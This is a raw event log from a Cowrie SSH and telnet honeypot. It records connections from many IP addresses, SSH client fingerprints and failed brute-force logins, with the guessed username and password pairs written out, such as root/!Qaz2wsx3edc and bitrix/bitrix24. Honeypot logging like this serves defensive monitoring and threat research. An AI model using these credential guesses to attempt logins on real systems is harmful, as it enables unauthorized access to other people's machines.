{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:37.514918Z","src_ip":"91.92.40.36","session":"89f21828fc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:38.340672Z","src_ip":"91.92.40.36","session":"89f21828fc63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:39.568481Z","src_ip":"91.92.40.36","session":"89f21828fc63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.16623497009277,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:46.748456Z","src_ip":"128.199.8.54","session":"20db6fad961c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59852,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbf1a21c7de7","protocol":"telnet","message":"New connection: 128.199.8.54:59852 (159.203.135.109:23) [session: bbf1a21c7de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:48.107800Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":54378,"dst_ip":"10.17.0.5","dst_port":22,"session":"75678faeacf9","protocol":"ssh","message":"New connection: 163.7.9.84:54378 (10.17.0.5:22) [session: 75678faeacf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:50.822585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:50.827384Z","src_ip":"163.7.9.84","session":"75678faeacf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:51.076387Z","src_ip":"163.7.9.84","session":"75678faeacf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456#","message":"login attempt [admin/123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:52.111548Z","src_ip":"163.7.9.84","session":"75678faeacf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:53.362614Z","src_ip":"163.7.9.84","session":"75678faeacf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53764,"dst_ip":"10.17.0.5","dst_port":22,"session":"05236cfdcf78","protocol":"ssh","message":"New connection: 87.251.79.125:53764 (10.17.0.5:22) [session: 05236cfdcf78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:53.719961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:53.724229Z","src_ip":"87.251.79.125","session":"05236cfdcf78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:53.792072Z","src_ip":"87.251.79.125","session":"05236cfdcf78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18041981","message":"login attempt [root/18041981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:54.003820Z","src_ip":"87.251.79.125","session":"05236cfdcf78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:55.077707Z","src_ip":"87.251.79.125","session":"05236cfdcf78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.436601638793945,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:56.253219Z","src_ip":"128.199.8.54","session":"4e1d42be8232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5861,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed090ef48836","protocol":"ssh","message":"New connection: 196.188.93.169:5861 (10.17.0.5:22) [session: ed090ef48836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:04.113033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:04.118232Z","src_ip":"196.188.93.169","session":"ed090ef48836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:04.296453Z","src_ip":"196.188.93.169","session":"ed090ef48836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix24","message":"login attempt [bitrix/bitrix24] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:05.035558Z","src_ip":"196.188.93.169","session":"ed090ef48836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:06.215347Z","src_ip":"196.188.93.169","session":"ed090ef48836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":59642,"dst_ip":"10.17.0.5","dst_port":22,"session":"57a523c44291","protocol":"ssh","message":"New connection: 87.106.47.28:59642 (10.17.0.5:22) [session: 57a523c44291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:17.819820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:17.828708Z","src_ip":"87.106.47.28","session":"57a523c44291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:17.920843Z","src_ip":"87.106.47.28","session":"57a523c44291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz2wsx3edc","message":"login attempt [root/!Qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:18.322863Z","src_ip":"87.106.47.28","session":"57a523c44291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:19.416642Z","src_ip":"87.106.47.28","session":"57a523c44291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":38244,"dst_ip":"10.17.0.5","dst_port":22,"session":"63002acd4b40","protocol":"ssh","message":"New connection: 147.45.199.80:38244 (10.17.0.5:22) [session: 63002acd4b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:19.786203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:19.797767Z","src_ip":"147.45.199.80","session":"63002acd4b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:19.898514Z","src_ip":"147.45.199.80","session":"63002acd4b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020783","message":"login attempt [root/020783] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:20.200997Z","src_ip":"147.45.199.80","session":"63002acd4b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:21.303572Z","src_ip":"147.45.199.80","session":"63002acd4b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":38646,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0a4ce1dcf8b","protocol":"ssh","message":"New connection: 152.32.214.226:38646 (159.203.135.109:22) [session: a0a4ce1dcf8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:28.984589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:28.988585Z","src_ip":"152.32.214.226","session":"a0a4ce1dcf8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:29.208330Z","src_ip":"152.32.214.226","session":"a0a4ce1dcf8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@Admin","message":"login attempt [root/root@Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:30.110627Z","src_ip":"152.32.214.226","session":"a0a4ce1dcf8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":35166,"dst_ip":"159.203.135.109","dst_port":22,"session":"f79e9f5f9652","protocol":"ssh","message":"New connection: 129.146.243.24:35166 (159.203.135.109:22) [session: f79e9f5f9652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:31.282483Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:31.330786Z","src_ip":"152.32.214.226","session":"a0a4ce1dcf8b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:31.384117Z","src_ip":"129.146.243.24","session":"f79e9f5f9652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:31.481185Z","src_ip":"129.146.243.24","session":"f79e9f5f9652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brown","password":"brown123","message":"login attempt [brown/brown123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:31.898987Z","src_ip":"129.146.243.24","session":"f79e9f5f9652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:32.992791Z","src_ip":"129.146.243.24","session":"f79e9f5f9652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":57770,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d4bdd2e507","protocol":"ssh","message":"New connection: 102.213.34.99:57770 (159.203.135.109:22) [session: b6d4bdd2e507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:40.747099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:40.752055Z","src_ip":"102.213.34.99","session":"b6d4bdd2e507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-s